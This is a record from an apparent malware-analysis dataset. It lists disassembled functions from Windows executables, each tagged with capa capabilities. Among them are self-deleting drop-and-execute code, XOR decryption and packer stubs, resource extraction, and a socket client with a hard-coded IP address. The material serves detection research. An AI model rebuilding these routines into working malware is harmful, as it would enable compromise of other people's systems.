joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404ce5
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push ebp
push esi
push edi
push 1
lea eax, [esp + 0x18]
push eax
push edx
mov dword [esp + 0x1c], edx
mov esi, ecx
call ebx
mov ecx, esi
mov edi, eax
call fcn.004147df
lea ebp, [edi + 2]
push ebp
mov ecx, esi
call fcn.0040420b
inc edi
push edi
push ebp
mov ecx, esi
call fcn.0040420b
push eax
push dword [esp + 0x18]
call ebx
mov ecx, esi
call fcn.004041f0
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x40541a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
push 0x41eaf0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x42275c], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call fcn.0041bd00
call fcn.00403c85
push 3
pop ecx
call fcn.00403ce0
push 0x28
pop ecx
mov dword [0x422760], eax
call fcn.00403ce0
push 2
pop ecx
mov dword [0x42274c], eax
call fcn.00403ce0
push 5
pop ecx
mov dword [0x422738], eax
call fcn.00403ce0
push 0x15
pop ecx
mov dword [0x42273c], eax
call fcn.00403ce0
push 0x16
pop ecx
mov dword [0x422754], eax
call fcn.00403ce0
push 0x17
pop ecx
mov dword [0x422748], eax
call fcn.00403ce0
xor ebx, ebx
mov dword [0x422744], eax
mov dword [0x422758], ebx
mov dword [0x422750], ebx
xor edi, edi
push ebx
push edi
lea eax, [ebp - 0x268]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x40550c
push edi
lea eax, [ebp - 0x5c]
push 0x41ead4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 1
lea edx, [ebp - 0x268]
lea ecx, [ebp - 0x5c]
call fcn.00404f69
xor esi, esi
cmp dword [esi + 0x42246c], edi
jne 0x405504
mov ecx, dword [esi + 0x422470]
push ebx
lea edx, [ebp - 0x268]
call fcn.00404f69
add esi, 8
cmp esi, 0x28
jb 0x4054ea
inc edi
cmp edi, 0x40
jl 0x4054b1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405a7a
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp byte [0x422740], 0
jne 0x405a8e
mov ecx, dword [0x42289c]
jmp fcn.00403442
ret
Function at 0x405aa6
Capabilities:
Create process on windows
Get disk information
Self delete
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x30
cmp word [eax + 2], 0x3a
push ebx
push edi
jne 0x405c52
movzx ecx, word [eax + 4]
cmp ecx, 0x5c
je 0x405ace
cmp ecx, 0x2f
jne 0x405c52
mov ax, word [eax]
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x405b00
push dword [ebp + 8]
jmp 0x405c53
mov edx, 0x41eb98
lea ecx, [ebp - 0x24]
call fcn.004042b5
xor eax, eax
push eax
push 0x80
push 2
push eax
push eax
push 0x40000000
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405c1a
push esi
lea ecx, [ebp - 0x18]
call fcn.004147df
push 0x41eb84
lea ecx, [ebp - 0x18]
call fcn.00414864
mov edi, 0x41eb78
push edi
lea ecx, [ebp - 0x18]
call fcn.00414922
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.00414962
mov esi, 0x41eb70
push esi
lea ecx, [ebp - 0x18]
call fcn.00414922
push 0x41eb58
lea ecx, [ebp - 0x18]
call fcn.00414922
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.00414962
push 0x41eb38
lea ecx, [ebp - 0x18]
call fcn.00414922
push edi
lea ecx, [ebp - 0x18]
call fcn.00414922
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x18]
call fcn.00414962
push esi
lea ecx, [ebp - 0x18]
call fcn.00414922
mov esi, dword [ebp - 0x14]
push 1
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0040438b
mov eax, dword [eax]
xor edi, edi
push edi
lea ecx, [ebp - 4]
push ecx
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x30]
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, edi
pop esi
je 0x405c2d
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x14]
jne 0x405c2d
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
push edi
push edi
push dword [ebp - 0x24]
push 0x41eb2c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x405c58
mov ecx, dword [ebp - 0x24]
call fcn.00403442
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
jmp 0x405c59
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop ebx
leave
ret 0xc
Function at 0x41bd00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x424c80], ecx
inc edx
cmp edx, 0x100
jb 0x41bd02
cmp edx, 0x800
jae 0x41bdd9
lea esp, [esp]
mov eax, dword [edx*4 + 0x424880]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x424c80]
inc edx
mov dword [edx*4 + 0x424c7c], eax
cmp edx, 0x800
jb 0x41bdb0
mov eax, 0x41c5e0
mov dword [0x424c7c], eax
mov dword [0x426c80], eax
mov dword [0x424c78], 0x41c500
call fcn.0041c010
test eax, eax
jne 0x41be05
mov dword [0x426c80], 0x41c500
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4012b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4012c9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401304
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401300
lea ebx, [ebx]
cmp esi, eax
jae 0x401304
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4012f0
cmp esi, eax
jb 0x40130a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401640
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43695b
mov eax, dword fs:[0]
push eax
sub esp, 0x1a0
mov eax, dword [0x445758]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
push edi
mov eax, dword [0x445758]
xor eax, esp
push eax
lea eax, [esp + 0x1b0]
mov dword fs:[0], eax
mov esi, ecx
call fcn.00405682
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push eax
call fcn.0040dd5c
mov ebx, eax
test ebx, ebx
je 0x401742
call fcn.0040c42e
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4016bd
push 0x80004005
call fcn.00401290
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x10], edi
push 0x65
mov dword [esp + 0x1bc], 0
call fcn.0040d28e
test eax, eax
je 0x4016f3
push 0x65
push eax
lea ecx, [esp + 0x18]
call fcn.00402080
mov edi, dword [esp + 0x10]
cmp dword [edi - 0xc], 0
je 0x40171b
mov ecx, dword [ebx + 4]
push 0
push 0
push 0x800
push ecx
call dword [sym.imp.USER32.dll_AppendMenuW]
mov edx, dword [ebx + 4]
push edi
push 0x10
push 0
push edx
call dword [sym.imp.USER32.dll_AppendMenuW]
lea eax, [edi - 0x10]
mov dword [esp + 0x1b8], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401742
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esi + 0xb8]
mov edx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push ecx
push 1
push 0x80
push edx
call edi
mov eax, dword [esi + 0xb8]
mov ecx, dword [esi + 0x20]
push eax
push 0
push 0x80
push ecx
call edi
lea edx, [esp + 0x14]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push str.192.168.8.2
push 0x3e8
push eax
call edi
mov ebx, dword [sym.imp.USER32.dll_SetWindowTextW]
push eax
call ebx
mov ecx, dword [esi + 0x20]
push str.SCHIDERON_GROUP
push 0x3e9
push ecx
call edi
push eax
call ebx
mov edx, dword [esi + 0x20]
push str.1999999010101
push 0x3ec
push edx
call edi
push eax
call ebx
mov eax, 1
mov dword [esi + 0xb4], eax
mov ecx, dword [esp + 0x1b0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x198]
xor ecx, esp
call fcn.0041eae4
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
sub esp, 0x130
mov eax, dword [0x445758]
xor eax, esp
mov dword [esp + 0x12c], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x4025ba
cmp dword [esi + 4], 0
je 0x4025d3
lea ecx, [esp + 4]
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x10], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x4025d3
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0xffffffff
xor eax, eax
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.0041eae4
add esp, 0x130
ret 4
xor eax, eax
mov dword [esp + 0x11c], eax
push 0x8866
mov dword [esp + 0x124], eax
mov dword [esp + 0x128], eax
mov dword [esp + 0x12c], eax
mov word [esp + 0x120], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esi]
push 0x10
lea ecx, [esp + 0x120]
mov word [esp + 0x122], ax
mov eax, dword [esp + 0x138]
push ecx
push edx
mov dword [esp + 0x12c], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4026e1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x4026b9
mov eax, dword [esi + 8]
cdq
mov ecx, 0x3e8
idiv ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 1
imul edx, edx, 0x3e8
mov dword [esp + 0xc], edx
lea edx, [esp + 8]
push edx
push 0
mov dword [esp + 0x10], eax
mov eax, dword [esi]
push ecx
mov dword [esp + 0x20], eax
push 0
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x4025ab
cmp eax, 0xffffffff
jne 0x4026e1
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0xffffffff
xor eax, eax
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.0041eae4
add esp, 0x130
ret 4
mov ecx, dword [esi]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0xffffffff
xor eax, eax
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.0041eae4
add esp, 0x130
ret 4
mov ecx, dword [esp + 0x12c]
xor ecx, esp
mov eax, 1
call fcn.0041eae4
add esp, 0x130
ret 4
Function at 0x402700
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x110
push ebp
push edi
xor edi, edi
test ebx, ebx
jle 0x4027af
mov ebp, dword [sym.imp.WS2_32.dll_select]
jmp 0x402720
mov eax, dword [esi + 8]
cdq
mov ecx, 0x3e8
idiv ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 1
imul edx, edx, 0x3e8
mov dword [esp + 0xc], edx
lea edx, [esp + 8]
push edx
push 0
mov dword [esp + 0x10], eax
mov eax, dword [esi]
push ecx
mov dword [esp + 0x20], eax
push 0
add eax, 1
push eax
call ebp
test eax, eax
je 0x4027bc
cmp eax, 0xffffffff
je 0x4027ca
mov eax, dword [esp + 0x11c]
push 0
mov edx, ebx
sub edx, edi
push edx
mov edx, dword [esi]
lea ecx, [edi + eax]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4027a1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x4027a7
mov eax, 0xfffffffd
pop edi
pop ebp
add esp, 0x110
ret 4
test eax, eax
je 0x4027da
add edi, eax
cmp edi, ebx
jl 0x402720
mov eax, edi
pop edi
pop ebp
add esp, 0x110
ret 4
or eax, 0xffffffff
pop edi
pop ebp
add esp, 0x110
ret 4
mov eax, 0xfffffffe
pop edi
pop ebp
add esp, 0x110
ret 4
pop edi
mov eax, 0xfffffffc
pop ebp
add esp, 0x110
ret 4

Function at 0x4027f0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
sub esp, 0x114
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_select]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
push edi
xor edi, edi
mov eax, dword [esi + 8]
cdq
mov ecx, 0x3e8
idiv ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 1
imul edx, edx, 0x3e8
mov dword [esp + 0x14], edx
lea edx, [esp + 0x10]
push edx
push 0
mov dword [esp + 0x18], eax
mov eax, dword [esi]
push 0
mov dword [esp + 0x28], eax
push ecx
add eax, 1
push eax
call ebx
test eax, eax
je 0x4028a5
cmp eax, 0xffffffff
je 0x4028b4
mov eax, dword [esp + 0x124]
push 0
mov edx, 4
sub edx, edi
push edx
mov edx, dword [esi]
lea ecx, [edi + eax]
push ecx
push edx
call ebp
cmp eax, 0xffffffff
jne 0x402888
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x40288e
mov eax, 0xfffffffd
pop edi
pop ebp
pop ebx
add esp, 0x114
ret 4
test eax, eax
je 0x4028c5
add edi, eax
cmp edi, 4
jl 0x402807
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x114
ret 4
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
add esp, 0x114
ret 4
mov eax, 0xfffffffe
pop edi
pop ebp
pop ebx
add esp, 0x114
ret 4
pop edi
pop ebp
mov eax, 0xfffffffc
pop ebx
add esp, 0x114
ret 4
Function at 0x403798
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x445758]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0x800
push ebx
push esi
mov esi, ecx
mov ebx, edx
lea eax, [ebp - 0xc]
jne 0x4037d5
push 0x4379f0
push 4
push eax
call fcn.0041fe26
push eax
call fcn.00401200
add esp, 0x10
jmp 0x4037e7
push 4
push eax
push 3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x403852
push edi
call fcn.0042022a
mov edi, dword [eax]
call fcn.0042022a
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
push 0x111
mov esi, 0x112
lea eax, [ebp - 0x230]
push esi
push eax
call fcn.004201d0
add esp, 0x18
mov ebx, eax
call fcn.0042022a
cmp dword [eax], 0
je 0x403832
call fcn.0042022a
push dword [eax]
call fcn.004036fb
pop ecx
jmp 0x403839
call fcn.0042022a
mov dword [eax], edi
cmp ebx, 0xffffffff
pop edi
je 0x403852
cmp ebx, esi
jae 0x403852
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x403854
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0041eae4
leave
ret
Function at 0x4059d8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x43586d
call fcn.0041fa33
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.0040d1ab
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x405a23
call fcn.0040d1ab
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x405a34
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x405a41
or eax, 0xffffffff
jmp 0x405b9d
mov ecx, esi
call fcn.00405508
mov dword [ebp - 0x14], eax
call fcn.004098e2
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x405abf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x405abf
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x405abf
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.00403785
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x405abf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x405abf
mov ecx, ebx
call fcn.0040d433
test eax, eax
je 0x405abf
push 0
mov ecx, ebx
call fcn.0040d44e
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.0040b2af
push dword [ebp - 0x14]
call fcn.0040983a
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.004057e0
xor edi, edi
cmp eax, edi
je 0x405b1c
test byte [esi + 0x3c], 0x10
je 0x405b06
push 4
pop edi
mov ecx, esi
call fcn.0040d344
test ax, 0x100
je 0x405afc
push 5
pop edi
push edi
mov ecx, esi
call fcn.004093d0
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x405b1c
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0040d5fc
or dword [ebp - 4], 0xffffffff
jmp 0x405b47
cmp dword [ebp - 0x28], edi
je 0x405b55
push 1
mov ecx, ebx
call fcn.0040d44e
cmp dword [ebp - 0x2c], edi
je 0x405b65
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x405b7e
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x405b7e
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.00405542
cmp dword [esi + 0x58], edi
je 0x405b9a
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.0041fad8
ret
Function at 0x406819
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x40685f
call fcn.0040d1ab
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40685f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x4068a2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x40688b
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40688b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x40689f
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40a8b2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40a8eb
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0040a84b
push eax
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00404cb6
pop esi
ret 4
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
pop esi
jmp dword [eax + 0x8c]

Function at 0x40c3c9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x40c40c
call fcn.0040d1ab
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x40c40c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40c427
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0040bf83
test ebx, ebx
mov esi, eax
je 0x40c425
test edi, edi
je 0x40c425
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x40f2ed
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40f31b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40f339
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040f257
jmp 0x40f339
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40f339
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0040f257
test edi, edi
mov eax, edi
jne 0x40f323
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x448708]
test ecx, ecx
je 0x40f3fc
jmp 0x40f2ec
ret 8
Function at 0x41eae4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x445758]
jne 0x41eaee
repz ret
jmp fcn.004246b8